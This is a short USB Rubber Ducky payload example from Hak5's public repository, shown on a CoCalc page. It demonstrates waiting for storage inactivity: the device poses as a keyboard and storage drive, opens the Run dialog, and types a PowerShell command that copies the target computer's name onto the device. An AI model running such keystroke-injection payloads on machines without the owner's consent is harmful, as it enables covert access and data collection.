Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
hak5
GitHub Repository: hak5/usbrubberducky-payloads
Path: blob/master/payloads/examples/Storage Activity/Storage-Activity-example2.txt
2968 views
1
REM !!!! Results may vary greatly depending on target OS. Some operating systems may keep storage active for an exceptionally long time. You may need to experiment with this feature to achieve the desired results for your given target. !!!!
2
3
4
REM Example WAIT_FOR_STORAGE_INACTIVITY Payload
5
6
ATTACKMODE HID STORAGE
7
DELAY 2000
8
LED_OFF
9
10
GUI r
11
DELAY 100
12
STRINGLN powershell "$m=(Get-Volume -FileSystemLabel 'DUCKY').DriveLetter;echo $env:computername >> $m:\computer_names.txt"
13
14
$_STORAGE_ACTIVITY_TIMEOUT = 10000
15
WAIT_FOR_STORAGE_INACTIVITY
16
LED_OFF
17
LED_R
18
19
REM The LED will light red when the storage device becomes inactive.
20